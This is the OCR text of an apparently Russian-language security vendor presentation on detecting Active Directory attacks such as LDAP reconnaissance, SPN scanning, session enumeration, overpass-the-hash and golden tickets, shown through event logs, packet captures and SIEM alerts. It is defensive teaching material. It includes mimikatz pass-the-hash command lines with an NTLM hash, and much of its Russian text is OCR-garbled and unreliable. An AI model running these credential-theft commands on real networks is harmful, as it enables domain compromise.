AHTOH TrHOpPUH

PykoBogutens Attack Detection Team
ATyurin@ptsecurity.com

[MpoaBMHYTbLIE aTakn Ha Microsoft Active Directory:
CNocoObl OOHapPyXeHNA U 3alUThI

20SITIVE TECHNOLOGIES pisecurity.com




s OTBeyvalo 3a obHapyxeHne artak Ha ceTeBoM ypoBHe, OSCP

¢ Threat Hunting B MHMpacTpyKType 3aKkasymka

*» B pacnopsxeHun PT ESC 300 SIEM-koppensaumn un

3000 IDS-npaBun

 twitter.com/AttackDetection



https://twitter.com/AttackDetection

KpaTknu pacckas o cueHapusx, KOTopble Y BCEX Ha CITyXY.

7 aKTyanbHbIX aTak, KOTOpble 0OHaPYXUTb CNOXHO...

... HO MOXHO. CobbITus + Tpaduk. MHCTPYKUMS NO NPUMEHEHMIO.

Hardening. PekomeHaauumn no npeaoTBpaLleHuIo.

44:59




ATakn Ha AD, xopoLlo u3BecTtHble VIb-BeHAopam

Pass-the-Hash ‘net user /domain’ Recon

mimikatz.exe Kerberoast

PsExec for remote

Brute Force execution




Power View

DCShadow SPN Scan

e @

WMI Remote Remote Sessions Enum

e

Overpass-the-Hash




PowerSploit
BloodHound



BloodHound POSITIVE TECHNOLOGIES

[padpoBoe npeacraerieHne ceda3en oobekToB AD

= MLIZARRAGAREXTERNAL L OCAL A H
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} PCARTER_AMEX AL
Find all Domain Admins @%m
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Find logged in admins ACHAVARIN@EXTERIAL LOSAL @ venbuti__ @)
Find Top 10 Users with Most Sessions N i

Find Top 10 Computers with Most Sessions o wempa’t DD['-._?AIN ADMIY ,@ ) 0 BM@EXTERNAL.LOCAL
Find Top 10 Usars with Maost Local Admin Rights MLIZARRAGAMEXTERNMAL: : & = -

Find Top 10 Computers with Most Admins — ) _f %@\

Usars with Foreign Domain Group Membership r’/' 4

Groups with Foreign Domain Group Membership ORMATIONTE WARDSEEXTERNAL L OCAL
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Offensive-copenMBOpPKU perynapHo 0OHOBMSAOTCS

7~

iy, BloodHoundAD
4L, i

Ly
L«

F

s

ELOCDHOUND

E] Repositories 2 People 0

Type: All = Language: All

Bl 0:07:00

The BloodHound C# Ingestor

csharp pentesting-windows bloodhound activedirectory
Mapt 2018
@cz W26 ¥ 19 JUpdated 22 hours ago
Mu Br
BloodHound

5ix Degrees of Domain Admin

@ PowerShell W 1723 ¥3028 JUpdated 5 days ago




PowerSploit LDAP
BloodHound not SAMR (net.exe)



LDAP Recon Monitoring

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostic\\
15 Field Engineering =5

L - A

v

v YTV

, MlaSwve
. Am
, nm3

Mpfs

, npsvetrig
. nsi

| nsiproxy
. NTD5

. Diagmostics
, Parameters
, Performance
, RID Values

| security

, MtFrs

, Nifs

. Mull

., mv_agp
. mwraid

. mwstor

, Parport
. partmigr
., pei

., pende

., pcmcia
. pow

., pdc

. PEAUTH

[ B

MName Type Data
ab| ( Dwef auilt) REG SZ {value mot set)
ig| 1 Knowledge Consistency Checker REG_DWORD Cx00000000 (0)
w8 10 Performance Counters REG_DWORD Ca00000000 (0)
W8 11 Initialization/ Termination REG_DWORD 0000000 (0
7412 Service Control REG_DWORD 000000000 (0)
4113 Mame Resolution REG_DWORD Ce00000000 (0)
wws| 14 Backup REG_DWORD (00000000 (0)
1#2/15 Field Engineering REG_DWORD (xDO0000TS (5)
s, 16 LDAP Interface Events REG_DWORD 0000000 (0)
s 17 Setup REG_DWORD (00000000 (0)
72418 Global Catalog REG_DWORD (500000000 (0
ivs| 19 Inter-site Messaging REG_DWORD (00000000 (0)
wa| 2 Security Events REG_DWORD 00000000 ()
% 20 Group Caching REG_DWORD (00000000 (0)
i 21 Linked-Value Replication REG_DWORD 00000000 (0)
e 22 05 RPC Client REG_DWORD (00000000 (0)
723 DS RPC Server REG_DWORD 000000000 (0)
s 24 DS Schema REG_DWORD (0000000 ()
irs 23 Transformation Engine REG_DWORD 00000000 (0)
W8 26 Claims-Based Access Control  REG_DWORD (500000000 (0)
73] 3 ExDS Interface Events REG_DWORD (00000000 (0)
44 MAP! Interface Events REG_DWORD 0xD0000000 ()
s Replication Events REG_DWORD Ce00000000 (0)
ivs| 6 Garbage Collection REG_DWORD (00000000 (0)
3] 7 Internal Configuration REG_DWORD Ce00000000 (0)

Event ID 1644 from DC

~OSITIVE TECHNOLOGIES

| &l

Event Properties - Event 1644, ActiveDirectory_DomainService

- General .[]mn; |

Client:
10.125.4.11:558T0
Starting node:
DC=otlab, DC=ru
Filter:

(& {-:M'lﬁ--::lqunﬂypezwssnﬁiﬁ] )

subtree

Attribute selection:
[all]

Server controls:

Visited entries:

-]

Returned entries:

28

Lsed indexes:
ide_sAMAccountTypeZE:N;
Pages referenced:

2650

Pages read from disk:

3

Pages preread from disk:
Clean pages modified:
0

Dirty pages modified:

0

Search time (ms):

63

Attnibutes Preventing Optimization:
nene

User:

PTLAB user

[¢] [#]




~POSITIVE TECHNOLOGIES

LDAP Recon Monitoring

LDAP searchRequest

Source s_port Destin d_port Protor Lemgt Info — A [Mext sequence number: 2368 (relative sequence number)]
18... 68698 dcl. 389 TCP 66 60690 - ldap(389) [5YN] Seq=6 Win=8192 Len=0 MSS=Ll.. E Acknowledgment number: 357 (relative ack number)

del.. 389 1@... 68698 TCP 66 ldap(389) - 68698 [SYN, ACK] Seq=@ Ack=1 Win=8192 .. — @lel .... = Header Length: 2@ bytes (5)

18... 60698 dcl. 389 TCP 54 68698 - ldap(389) [ACK] Seq=1l Ack=1 Win=66848 Len=@ —— Flags: @x@18 (PSH, ACK)

1@... 68698 dcl. 389 TCP 1434 68690 -+ ldap(389) [ACK] Seq=1 Ack=1 Win=66@48 Len=.. Window size value: 257

1@... 60698 dcl.. 389 LDAP 691 bindRequest(84) "<ROOT>" sasl [Calculated window size: 65792]

dcl. 389 18... 60698 TCP 60 ldap(389) + 60698 [ACK] Seq=1 Ack=2018 Win=262144 .. [Window size scaling factor: 256]

dcl. 389 10... 60698 LDAP 265 bindResponse(84) success Checksum: @x26T@ [unverified]

18... 60698 dcl. 389 LDAP 169 searchRequest(85) "DC= [Checksum Status: Unverified]

18...
18...
18...
dcl..

68698

SASL G55-API Integrity:

SASL GS5-API Integrity: searchRequest(83) "DC=
ldap(389) + @698
ldap(389) + 6@698

[ACK] Seq=357 Ack=236@ Win=26163..
[ACK] Seq=1737 Ack=236@ Win=2616..
ldap(389) + 60608 [ACK] Seq=3117 Ack=236@ Win=2616..
62608 + ldap(389) [ACK] Seq=236@ Ack=4497 Win=66@4..
ldap(389) » 60608 [ACK] Seq=4497 Ack=236@ Win=2616..
ldap(389) » 60608 [ACK] Seq=5877 Ack=236@ Win=2616..
ldap(389) » 60698 [ACK] Seq=7257 Ack=2360 Win=2616..
ldap(389) + 6@69@ [ACK] Seq=B637 Ack=236@ Win=2616..

[ACK] Seq=236@ Ack=10817 Win=66@..

68698 + ldap(389)

1dap(389) + 60698 [ACK] Seq=15537 Ack=236@ Win=261..
ldap(383) =

-I [ 4 |

[ACK] Seq=23817 Ack=2368 Win=26l..

Urgent pointer: @
[SEQ/ACK analysis)
TCP payload (227 bytes)
[PDU Size: 227
v Lightweight Directory Access Protoceol
SASL Buffer Length: 223
¥ SASL Buffer
¥ G55-API Generic Security Service Application Program Interface

¥ G55-API payload (195 bytes)
¥ LDAPMessage searchRequest({838)
messagell: B3
v protocolOp: searchRequest (3)
¥ searchRequest
baselbject: DC=
scope: wholeSubtree (2)
derefAliases: neverDerefAliases (@)
sizelimit: @
timelimit: @
typesOnly: False
Filter: (&(sAMAccountType=80@5386369)(dnshostname=*))



PowerSploit LDAP Pure PowerShell
BloodHound not SAMR (net.exe)



PowerShell v5 Event ID 4104

Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General | Details

Creating Scriptblock text (1 of 1):
Write-Output "Running Invoke-Mimikatz..."

ScriptBlock ID: cbd51773-c40f-4f73-9b77-808a7624d1¢c7 * Script block logging
o HKLMMSoftware\Policies\Microsoft\Windows\PowerShel\ScriptBlocklLogging
" EnableScriptBlockLogging, 1
®  EnableScriptBlockinvocationLogging, 1
2@ |t may also be a good idea to increase the log size. The Microsoft-Windows-PowerShell/Operational log is 15MB by default.

Log Name: Microsoft-Windows-PowerShell/Operational

Source: PowerShell (Microsoft-Wind

Event ID: 4104 Task Category: Execute a Remote Command
Level: Verbose Keywords: None

User: WIN-EOOTVR3NK6K\ADSAd Computer: WIN-EOOTVR3NKEK
OpCode: On create calls

More Information: Event Log Online Help




Power View MaxPatrol SIEM Detection POSITIVE TECHNOLOGIES

INC-141 CTETYC 14.03.2018 00:46:11

Dump_user_object
CpeaHAs
Monb3oearens ¢ yana 10.125.4.11 ebinonuun LDAP-3anpoc Ha

Mone3ceatens ¢ yana 10.125.4.11 ewirpyann obbexkTsl TMNa 'NONL30BaTENE o .
Active Directory Ha ysne s-ad-001_ptlab.ru ysne s-ad-001.ptlab.ru

Appecatbl
Mp_user_abect | ; SIEM
Cerona & 00:46 L
MapameTpbl CeroaHs B 00:45 -

He onpeaeneHa
PeA f MameneHo: Onucanue, [llata oGHapymeHHn,
CobbiTia, Tun

He onpeaenenr
cerogHn, 00:45

Ponu Bo B3aumogeincTeumn

CobbiTHA ATaKyHLWMHE aKTHBLI "
b rA] :»1.’_:A,,T"'..A'
Bpema CobbiTHe K
14 mapta 00:46 MNonesosatens ¢ yana 10.125.4.11 ewinonyun LDAP-3anpoc Ha yane s-ad-001.ptla.. ) W~ .
14 maprta 00:46 Monesosatens ¢ yana 10.125.4.71 ewirpy3un o6bekTsl TUNa "NoNb3oBaTtens’ M3 A 3
MapameTpbl B3auMmopeicTBuA

OTkpbiTo «CobbiTUA»




Power View PT Network Attack Discovery Detection POSITIVE TECHNOLOGIES

T Arakm
’ H |'l
A [ T n
c1210.2017 11:15 no 13.710.2017 00:46
- o
Beero 17 arax: 0 BbICOKOI ONAcHOCTH 17 cpegHeii onacHoCTK 0 HW3KOH ONACHOCTK 0 npoyux aTtak
12:00 15:00 18:00 21:00

MokazaHo 17 cTpok — OTMedeHo O cTpok
HMmna Knacc IP-agpec oTnpa.. [MopT oTnpa.. CTpaua omnp.. IP-agpec nonyd.. [lopT nonayy.. Ctp

[PT ATTACK AD] Domain Users Enumeration via LDAP query Attempted Information Leak 10.3.76.29 60690 10.0.52.101 389



Service Principal Name

ices. Activelirectory.Forest] : :GetCurrentForest({)). RootDomain

-Replace( . h|

= new-0Object System.Directoryservices. [

.Page5ize = 500

= LFindA11 ()

Port Scan



[TIR1

SPN = serviceclass “/" hostname [“:"port]

 SQL servers, instances, ports, etc. Active Directory Security

Active Directory & Enterprise Security, Methods to Secure Active Directory, Attack Me
Notes, & Geek Trivia...

MSSQLSvc/adsmsSQLAPOL.corp.com:1433

Home About AD Resources Contact Mimikatz Presentations Schema Versions Security R]

 Exchange
SPNs

eXC h an g e M D B/ad S m S Ex CAS O 1 CO r‘p CO m Active Directory Service Principal Names (SPNs) Descriptions
Excellent article describing how Service Principal Names (SPNs) are used by Kerberos and Active Directory:
Service Principal Names (SPNs) SetSPMN Syntax (Setspn.exe)
 RDP

This page is a comprehensive reference (as comprehensive as possible) for Active Directory Service Principal Names (SPNs). As | discover
more SPNs, they will be added.

TERMSERV/adsmsEXCASO1.corp.com

+ AcronisAgent: Acronis backup/data recovery software
° WI n R M / PS Remotl n g » AdtServer: Microsoft System Center Operations Manager (2007/2012) Management Server with ACS
« afpserver: Apple Filing Protocol
» AgpmServer: Microsoft Advanced Group Policy Management (AGPM)
WS MAN/adsmS EXCASO 1 .CO rp .com » aradminsvc - Quest Active Roles Server
+ arssvc - Quest Active Roles Server

o VMware Vce nter » bocms: Business Objects

+ BOSSO: Business Objects

STS/adsmsVCO1.corp.com https://adsecurity.org/?page id=183



https://adsecurity.org/?page_id=183

SPN Scan MaxPatrol SIEM Detection POSITIVE TECHNOLOGIES

» 14.03.2018 13:47:53
INC-204 Cratyc

SPN_LDAP_requests

KpuTtuuHocTs Cpeansasn MNonb3oBaTens ¢ yana 10.125.4.11 seinonHun LDAP-3anpoc Ha yane s-ad-001.ptlab.ru

Monbzoeatens ¢ yana 10.125.4.11 Beirpy3nn o6bekTel TMUNa "cepBUc” U3 Ac

CtaTyc HoBbin
Directory Ha yane s-ad-001.ptlab.ru o ©

OTBeTcTBEHHbIM He HasHauveH . Appecartbl

CofepuT AaHHble 06 1 cpabaTbiBaHWW NpaBuNa KoOppenauum ABTOD

SPN_LDAP_requests OTnpaeuTenb
McTouyHUMK MHUMOeHTa SIEM

3 src.host  10.125.4.11
ObBHapyxeH CerogHAa B 13:47

src.ip 1
MapameTpbi CospaH  CerosHa B 13:47 el
Kateropua He onpeaeneha MocnenHee namenedne  WaMmeHeHo: OnucaHue sre.port 56721
Tun He onpeneneH CobbiTua, Tun
BnMAHUE ceroaHs, 13:47 - Ponu Bo B3auMogeiicTBUM
PacnonoxeHne P
CybbeKkT
subject  account
subject.name  user
subject.domain PTLAB
3ajaun CobbiTus AKTUBbI U CETH ATakyouue akTUBbI KommeHTapuu subjectid S-1-5-21-1429952499-3518759572-2917866074-1106
06
Bpemsa CobbiTHe seer
object  request
14 mapta 13:47 Monezoeatenk ¢ yzna 10.125.4.11 eeinonHun LDAP-3anpoc Ha y3ne s-ad-001.ptla.. &S objectvalue (& (sAMAccountType=805306369) (dNSHostName=*)
14 mapTa 13:47 Monbsoeatens ¢ yana 10.125.4.11 Beirpy3aun obbekTel TUNa "cepeuc” w3 Active Di.. e

. MNapameTpbl B3aUMOAeHCTBUA

OTKpbITh «Co6bITUA mportance info



SPN Scan PT Network Attack Discovery Detection POSITIVE TECHNOLOGIES

=T ATaku
01.10.2017

c11.10.2017 21:27 no 12.10.2017 21:27

€ &

Bcero 1 ataka: 0 BbICOKO ONacHOCTK 1 cpegHei onacHoOCTH 0 HM3KOW ONacHOCTH 0 npoywx aTak

22:00 23:00 00:00 01:00 02:00 03:00 04:00 05:00 06:00 07:00 08:00 09:00 10:00 11:00 12:00 13:00 14:01
Mokazada 1 cTpoka — OTMeyeHo O CTpoK

! KmA Knacc IP-agpec oTnpa.. [opT oTnpa.. CTpana otnp.. IP-agpec nonyy.. [MopT nonyd..

[PT ATTACK AD] Domain SPN Enumeration via LDAP query Attempted Information Leak 10.3.76.29 92259 10.0.52.101 3268



Remote Sessions Enumeration

A raoe ecTb ceccud
NOMEHHOro agMmmHa?

Kyna Obl eLue
3anortMHNTbLCA?




Remote Sessions Enumeration

Logon Event ID 4624 on Target Host

General Detaﬁﬂ

4] Event Properties - Event 4624, Microsoft Windows security auditing.

New Logon:
Security ID:
Account Name:
Account Domain:
Logon ID:
Legon GUID:

Process Information:
Process ID:

Process Name:

Network Informaticn:

Source Port:

Logon Process:

Workstation Name:
Source Network Address:

Authentication Package:
Transited Services:
Package Name (NTLM only): - v

An account was successfully logged on. A
Subject:

Security ID: NULL SID

Account Name: =

Account Domain: -

Logon ID: 0x0
Logon Type: 3 L
Impersonation Level: Delegation

PTLAB\administrator

Administrator

PTLAB

0x5A5985C
{d3f02db5-71fe-9a88-23e9-87d559f6343b}

0x0

10.125.4.11
54947

Detailed Authentication Information:

Kerberos
Kerberos

[«] [#]

~POSITIVE TECHNOLOGIES

IPC$ Access Event ID 5145

ial Event Properties - Event 5145, Microsoft Windows security auditing.

R e s o)
General | Details |

Subject:
Security ID:
Account Name:
Account Domain:
Logon ID:

Network Information:
Object Type:
Source Address:
Source Port:

A network share object was checked to see whether client can be granted desired access.

PTLAB\administrator
Administrator

PTLAB

0x5A5985C

File
10.125.4.11
54047

Share Information:
Share Name:
Share Path:

Relative Target Name:

NAIPCS

ShvsvC

Access Request Information:
Access Mask:
Accesses:

Access Check Results:

Ox12019F

READ_CONTROL

SYNCHRONIZE

ReadData (or ListDirectory)

WriteData (or AddFile)

AppendData (or AddSubdirectory or CreatePipelnstance)
ReadEA

WriteEA

ReadAttributes

WriteAttributes

[«] [#]



Remote Sessions Enumeration

~POSITIVE TECHNOLOGIES

Server Service Remote Protocol (SRVSVC) over SMB named pipe

SMB2 159@ Tree Connect Request Tree: Wh - TIPCS
i

SMB2 212 Toctl Request FSCTL_WALIDATE _NEGOTIATE_INFO

SMB2 194 Toctl Response FSCTL_VALIDATE_NEGOTIATE_INFO

BY NETWORK_INTERFACE_INFO

SMB2 198 Create Request File: srvswe

ACK] 5eq=998 Ack=4485 Win=261632 Len=8

sl L n = —-

TCP 1434 microsoft-ds(445)

sMB2 1583 Ioctl Response FSCTL_QUERY METWORK INTERFACE_INFO

SMB2 218 Create Response File: srvswc

TCP 54 56173 » microsoft-ds(445) [ACK] Seq=4485 Ack=2630 Win=66848 Len=8

SME2 162 GetInfo Request FILE_INFO/SMB2 FILE_STANDARD INFO File: srwvswc

SMB2 154 GetInfo Response

DCERPC 286 Bind: call id: 2, Fragment: Single, 2 context items: SRVSVC V3.8 (32bit NDR), S.
SMB2 138 Write Response

SMB2 SMWSVC

171 Read Request Len:1824 Off:@ File:

[ ERF B Bind gk = d;
M Hesponse,
171 Read Reguest Len:3256 Off:8 File: srvsvc

1424 microsoft-ds{445) + 56173 [ACK] Seq=4138 Ack=5311 Win=262144 Len=1388 [TCP segm.

1434 microsoft-ds(445) + 56173 [ACK] Seq=5518 Ack=5311 Win=262144 Len=1388 [TCP segm.

head Response

TCP 54 56173 + microsoft-ds(445) [ACK] 5eq=5311 Ack=7478 Win=66848 Len=8

SMB2 171 Read Request Len:4238 Off:8 File: srwsvc

TCP 1434 microsoft-ds(445) + 56173 [ACK] Seq=747@ Ack=5428 Win=261888 Len=1380 [TCP segm.
SRVSWC 1274 NetSessEnum response[Malformed Packet] SRVSVC V3

TEP 54 56173 + microsoft-ds(445) [ACK] Seq=5428 Ack=18878 Win=66843 Len=8

SMB2 146 Close Request File: srvswc

SMB2 182 Close Response

+ 56173 [ACK] Seq=998 Ack=4485 Win=261632 Len=1388 [TCP segme..

,» Fragment: Single, max_xmit: 4288 max_recv: 4288, 2 result.

rror: STATUS _BUFFER_OVERFLOW Unknown (@xB@88Cel7) Function:@xe..

-------

e eaes

................ t.e.s.t.-.e.x.t.-.m.a.i.1l...

paas



Remote Session Enum MaxPatrol SIEM Detection POSITIVE TECHNOLOGIES

INC-200 CTHT}'C

Session_enumeration
KpMTUYHOCTE CpefgHasn

Monesoeatene user c ysna 10.125.4.17 BbIrpy3smMn CNUMCOK aKTHUBHBIX Cratye @ HoBbiit
wTdTyC Ebl¥
NoNb30BaTeNbCKWX CEAHCOB Ha y3ne s-ad-001.ptlab.ru )

OTBeTCcTBEHHBIM  He HasHa4eH
CofepxuT AaHHble 06 1 cpabaTbiBaHWW NpaBWIa KoppenaL M1 ABTOD
Session_enumeration

McTovyHMK nHunaeHTta  SIEM
O6HapyxeH CeroaHa s 10:50

MapameTpsbl Cospnad CerogHs B 10:51

KaTteropua He onpeneneHa -
PEA ocnenHee uaMeHeHue MameHeHo: OnucaHue, [laTa oBHapyXeHus,

un He onpegeneH CobbiTua, Mpynnbl, Tun
cerogHAa, 10:51

Bnuanue
Pacnonoxenve Unmanaged hosts
3anaum CobbITHA AKTUBbI M cETH ATakyrolne aKTWBbI KommeHTapun
Bpemsa CobbiTHe
14 mapta 10:50 MonbsosaTtent user c yana 10.125.4.71 BbIrpy3sun cNUCoOK aKkTUBHbIX NONb30oBaTE... L9
14 mapTa 10:48 MonesoeaTtene user c ysna 10.125.4.11, BOSMOMHO, BbIFPY3WMA CMIMCOK aKTUBHbLIX ... L33
14 mapra 10:48 lMonksoBaTtens user 3anycTUN YTUIWTY A9 BbITPY3KM CNWCKA aKTUBHLIX NOMbL30B... L3

OTKpbITh «CoBbITHA»



Remote Session Enum PT Network Attack Discovery Detection

~POSITIVE TECHNOLOGIES

c 13.10.2017 18:49 no 14.10.2017 06:05
€ o

Bcero 1 ataka: 0 BbICOKON ONacHOCTH 1 cpeaHei ONacHOCTK

19:00 19:30 20:00 20:50 21:00

Mokazada 1 cTpoka — OTMmeueHo 0 CTPOK
! MmA

[PT ATTACK AD] NetSess enumeration DC

0 HM3KOW ONEcHOCTH 0 npounx aTak

21:30 22:00 22:30 23:00

Knacc

Attempted Information Leak

23:30

00:00

IP-appec oTnpa..

10.3.76.29

00:30

MopT oTnpa..

96173

01:00 01:30 02:00 02:30

CTpaHa otnp.. |P-agpec nonyd.. [lopT nonyu..

10.0.52.101 445



icnonb3oBaHue xewa gna nonydvyeHua Kerberos Ticket-Granting Ticket (TGT)

Key Distribution Center

KDC (Authentication
1. KnuneHT WnpyeTt xewem ceoezo

rnaporsid gaHHble A4 3anpoca

ayTeHTuukaymu.

2. KDC BblOaeTt TUKET Ha nosiyvyeHue

opyrux Tmketos — TGT.

3. Tenepb KNUEHT npoLuen

ayTeHTudukaunio n B TevyeHue 10 it
ICKe

Granting
Ticket

4acoOB MOXET obpallaTbCs 3a TUKeTam

And AoCTtyrna K AOMEHHbIM CepBNCaM.
Principal Application Server



PowerShell Script Block Logging 4688 with command line
Event 4104, PowerShell (Microsoft-Windows-PowerShell) _

General | Details| e

Creating Scriptblock text (1 of 1): A new process has been created. ~
Write-Output "Running Invoke-Mimikatz...”
Creator Subject:

ScriptBlock ID: cbd51773-c40f-4f73-9b77-808a7624d1¢7 security ID:

Account Mame:
Account Domain:

Logon 1D B7DD9
Target Subject:
Security D MULL 51D

Account Mame: -
Account Domain: -

Logon 1D 00

Log Name: Microsoft-Windows-PowerShell/Operational Process Information:

. - Mew Process (Dt (edabc
Source: PowerShell (Microsoft-Wind Mew Process Mame: Dnstallmimikatz.exe
Event ID: 4104 Task Category: Execute a Remote Command Token Elevation Type: 3631938

¢ ¥ Mandatory Label: Mandatory Label\Medium Mandatory Level

Level: Verbose Keywords: None Creator Process [D: 0x27CD
User: WIN-EOOTVR3NK6K\ADSAd Computer: WIN-EOOTVR3NK6EK : :
OpCode: On create calls Process Command !I_llrl1e: DtInstallvmimikatz.exe” “privilegendebug

Sfdomain:contoso.local” "exit” “sekurlsaipth fuserWRon

More Information: Event Log Online Help Sntlm:a29f7623fd11550def0192de%246f46b /domain:contoso.local” "exit"




Overpass-the-Hash

~POSITIVE TECHNOLOGIES

Tun wndppoBaHma B nermtuMmHomMm AS-REQ

. 49.544756 192.168.11.2 192.168.0.1 KRB5 354 AS-REQ

. 49.545913 192.168.8.1 192.168.11.2 KRB5 176 AS-REP

. 48.546413 192 .168.11.2 192.162.0.1 KRBS 15.. TGS-REQ

. 49.547206 192.168.0.1 192.168.11.2 KRB5 125 TGS-REP

. 48.563636 192.168.11.2 192.168.0.1 KRBS 16.. TG5-REQ

. 49.564343 192.168.0.1 192.168.11.2 KRBS5 236 TG5-REP

. 49.564682 192.168.11.2 192.168.6.1 DCE... 19.. Bind: call id: 2, Fragmeni

AR CACTAT 400 900 A A E I e T Wt o T B B [ o Fall i i T T T . W | 1 B I | e} o

- skl

> Frame 1333: 354 bytes on wire {2832 bits), 354 bytes captured (2832 bits) on in

> Ethernet II, Src: Vimare al:29:eb (@0:50:56:a1:29:eb), Dst: Vimware f@:fl:af (0@

- Internet Protocol Version 4, Src: 192.168.11.2, Dst: 192.168.0.1

> Transmission Control Protocol, Src Port: 59234, Dst Port: 88, Seq: 1, Ack: 1, L

4+ Kerberos
> Record Mark: 296 bytes
2 as-req
pvno: 5
msg-type: krb-as-req (10)
4 padata: 2 items
+ PA-DATA PA-ENC-TIMESTAMP
s padata-type: kRB5-PADATA-ENC-TIMESTAMP (2)
4 padata-value: 3041a003020112a23a®438cf68aad97aclb6lccd5a8cefc. ..
etype: eTYPE-AES256-CTS-HMAC-SHAL-96 (18)
cipher: ctb6®aad9/a ccdba8cYetc2bac 9e9d6f49fta. ..
4+ PA-DATA PA-PAC-REQUEST
s padata-type: kRB5-PADATA-PA-PAC-REQUEST (128)
4 padata-value: 3005a0030101ff
include-pac: True
> req-body

AS-REQ ot mimikatz

648 26.784595 192.168.11.2 192.168.6.1 KREB5 378 AS-REQ
‘ 642 26.705364 192.168.0.1 192.168.11.2 KEBS 55 AS-REP
658 26.785945 192.168.11.2 192.168.6.1 KRB5 16.. TGS-REQ
653 26.706829 192.168.0.1 192.168.11.2 KEB5 186 TGS-REP
b6l 26.787209 192.168.11.2 192.168.6.1 KREB5 14.. TGS-REQ
662 26.707458 192.168.0.1 192.168.11.2 KEBS5 14.. TGS-REP
bbb 26.787737 192.168.11.2 192.168.6.1 5MB2 32.. Session Setup Request

Pl ko W W i 2 .72 V. .Y il I Y W Wt Y 2 S | AOT 1 1A Fad T\l 1t 31C & 5 FalFo e

- Frame 640: 370 bytes on wire (2960 bits), 370 bytes captured (2960 bits) on interf.
- Ethernet II, Src: Vimware al:29:eb (@0:50:56:a1:29:eb), Dst: Vmmare f@:fl:af (00:0c
> Internet Protocol VWersion 4, Src: 192.168.11.2, Dst: 192.168.8.1
> Transmission Control Protocol, Src Port: 59248, Dst Port: 88, Seq: 1, Ack: 1, Len:
4 Kerberos
- Record Mark: 312 bytes
4 as-req
pvno: 5
msg-type: krb-as-req (18)
4 padata: 2 items
« PA-DATA PA-ENC-TIMESTAMP
+ padata-type: kRB5-PADATA-ENC-TIMESTAMP (2)
4 padata-value: 383dad®302@117a23604349%act712dc8c294e8a712d2bbds. ..
etype: eTYPE-ARCFOUR-HMAC-MD5 (23) |
cipher: 9act/t2dc2c294e8a/12d2bed5edtd35b2ffa2ca764b2d5e. ..
+ PA-DATA PA-PAC-REQUEST
s padata-type: kRBS5-PADATA-PA-PAC-REQUEST (128)
+ padata-value: 3005300301911+
include-pac: True
> req-body




Overpass-the-Hash MaxPatrol SIEM Detection

~OSITIVE TECHNOLOGIES

INC-206 Cratyc
Mimikatz_overpass_the_hash
KpuTu4HocTk
[Auto] Incident Undefined CraTve
Lidl Y-
ConepuT faHHble 06 1 cpabaTbiBaHWK NpaBuna Koppenauum OTBETCTBEHHBIW
Mimikatz_overpass_the_hash ABTOD

McTOYHKMK MHUWAEeHTA
MapameTpbl O6HapyxeH

KaTteropua He onpepeneHa CospaH

Tun He onpeneneH [MocnegHee U3MEHEHWE
Bnuanue

PacnonoxeHwe

CpenHan
© Hoebin

He HasHauveH

SIEM
CerogHa B 13:57
CeropHa B 13:57

NameHeHo: OnucaHue
CobeiTua, Tun
cerogHsa, 13:57

3apadn CobbITUA AKTUBEI U CETH ATakyllWe aKTUBBI KomMmmeHTapui
Bpema CobbiTHe
14 mapTta 13:57 O6HapyxeHa aTaka overpass-the-hash. Monb3oBaTens user sanycTUn NPoLEce C... L9
14 maprta 13:57 Monb3oBaTens user co3gan HoBbIW Npouecc "mimikatz.exe" Ha yane w-user-02.ptl... ¢S
14 maprta 13:57 Monbsosatens w-user-025 cosnan Hoewil Npouecc “cmd.exe” Ha yane w-user-02.... L9

OTKpbITh «CoBBITUA?

» 14.03.2018 13:57:48

MNonb3oBaTenb USEr cO34an HOBLIM Npouece "mimikatz.exe” Ha yane w-user-02.ptlab.ru

object.id

object.type

object.path

C:\Tools\mimikatz_trunk\x64\mimikatz.exe

. MapamMeTpbl B3auMogeiicTBUA

mportance
action

status

. McTOYHUK cobbITHIA

event_src.asset

start

sSuccess

mimikatz.exe "privilege::debug” "sekurlsa:pth /user:administrato

@) (w-user-02.ptlab.ru)

@) (w-user-02.ptlab.ru)




Overpass-the-Hash PT Network Attack Discovery Detection POSITIVE TECHNOLOGIES

| | | | |
c19.10.2017 1525 no 19.10.2017 16:23
= o
Bcero 6 aTtan: 6 BbICOKOW ONacHoCTH 0 cpeaHei onacHocTH 0 HM3KOW ONacHOCTH 0 NpoJynx aTak

15:26:00 152800 153000 15:32:00 153400 15:36:00 15:38:00 15:40:00 15:42:00 15:44:00 15:46:00 15:48:00 15:50:00 15:52:00 15%:54:00 7155600 15:58:00 16:00:00 18:02:00 16:04:00 1621

MokazaHo 6 cTpok — OTMeveHo O cTpoK

! MmA Knacec IP-agpec oTnpa.. [lopT oTnpa.. CtpaHa otnp.. |P-agpec nonyuy.. [opT nonyu...
[PT OPEN] Overpass the hash. Encryption downgrade activity to ARCFOUR-HMAC-MD5 Attempted User Privilege Gain 10.3.76.61 49478 10.0.52.101 88
[PT ATTACK AD] Overpass the hash. Unusual Protocol Implementation. NTLM only Attempted User Privilege Gain 10.3.76.61 49478 10.0.52.101 88
[FT OPEN] Overpass the hash. Encryption downgrade activity to ARCFOUR-HMAC-MD5 Atternpted User Privilege Gain 10.3.76.61 49494 10.0.52.101 88
[PT ATTACK AD] Overpass the hash. Unusual Protocol Implementation. NTLM only Attempted User Privilege Gain 10.3.76.61 49494 10.0.52.101 88
[PT OPEN] Overpass the hash. Encryption downgrade activity to ARCFOUR-HMAC-MD5 Attempted User Privilege Gain 10.3.76.61 49478 10.0.52.101 g8

[PT ATTACK AD] Overpass the hash. Unusual Protocol Implementation. NTLM only Attempted User Privilege Gain 10.3.76.61 49478 10.0.52.101 88



icnonb3oBaHue xewa nonb3oBatens krbtgt ana cosgaHna Golden Ticket (GT)

KDC (Ticket Granting
Service)

1. KnuneHT reHepupyet GT

o o Ticket
2. [Nony4daet TGS Ha /110600 HYXHbIN eMY Granting

pecypc Ha HeorpaHM4YeHHoe BpeMs

1. Service
Request

3. becnpenarcTtBeHHO obpallaeTcs K

pecypcy

2. Presents
Service Ticket Service
Ticket

Application Server

Principal

3. Mutual
Authentication
Optional)

4, Data
Transfer



Golden Ticket POSITIVE TECHNOLOGIES

4768 TGT was granted 4769 TGS was granted

i Event Properties - Event 4768, Microsoft Windows security auditi....' i| Event Properties - Event 4769, Microsoft Windows security auditi..-.-
| General | Details | | General | Details |
A Kerberos authentication ticket (TGT) was requested. A A Kerberos service ticket was requested. e
Account Information: Account Information:
Account Name: admin Account Name: admin@I2.RU
